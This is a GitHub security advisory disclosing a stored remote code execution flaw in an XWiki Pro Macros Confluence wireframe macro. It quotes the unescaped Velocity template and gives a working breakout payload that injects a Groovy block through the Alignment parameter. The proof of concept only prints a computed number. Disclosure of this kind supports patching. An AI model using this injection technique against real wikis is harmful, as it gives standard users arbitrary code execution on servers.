Skip to main content
Menu
Advisories

Stored RCE via ConfluenceWireframe macro

GHSA-XMV2-J6R9-FVMWPublished Updated GitHub

Description

Requirement

  • a standard user account

Details

The macro id confluence_wireframe interpolates $wikimacro.parameters.Alignment raw into the (% style="text-align: ${imageAlignment}" %) block-attribute (after a single .toLowerCase() call, no escape):

#set($alignment = $wikimacro.parameters.get('Alignment'))
#set($imageAlignment = 'center')
#if("$!alignment" != '')
  #set($imageAlignment = $alignment.toLowerCase())
#end
...
#if($attachment)
  (% style="text-align: ${imageAlignment}"%)(((
    [[image:$services.rendering.escape($attachmentName, $xwiki.currentContentSyntaxId)]]
  )))
#end

The wiki block-attribute syntax (% style="X" %) can be exited with the byte sequence ")) %): the )) closes the surrounding (((...))) group, the %) closes the (% %) attribute block, and the next bytes are parsed as sibling wiki content. An attacker-controlled Alignment containing

x")) %){{async ...}}{{groovy}}...{{/groovy}}{{/async}}(((((xx

injects a sibling {{async}}{{groovy}} block while the trailing (((((xx re-balances the (((-group opener.

PoC

A standard user does:

  • create a page with the macro and the breakout payload:
line1

{{confluence_wireframe initialResourceID="test" Alignment="x~")) %){{async async=~"false~" cached=~"false~"}}{{groovy}}println(~"WF_~" + (17*19)){{/groovy}}{{/async}}(((((xx"/}}

line2
  • add an attachment on the same page (bogus, can be empty)

We get 323, proving groovy executed.

<img width="1774" height="1196" alt="Capture d’écran 2026-06-05 à 15 39 03" src="github.com/user-attachments/assets/883d0f11-2a9c-4362-95f9-8149a2ddfcb1" />

Impact

Standard user gets arbitrary code execution against the server.

Affected version note

The file was renamed Balsamiq.xml to ConfluenceWireframe.xml and moved into xwiki-pro-macros-confluence-bridges over time, but the sink has been continuous since 1.0.

Affected versions

References

GitHub · xwikisas/xwiki-pro-macros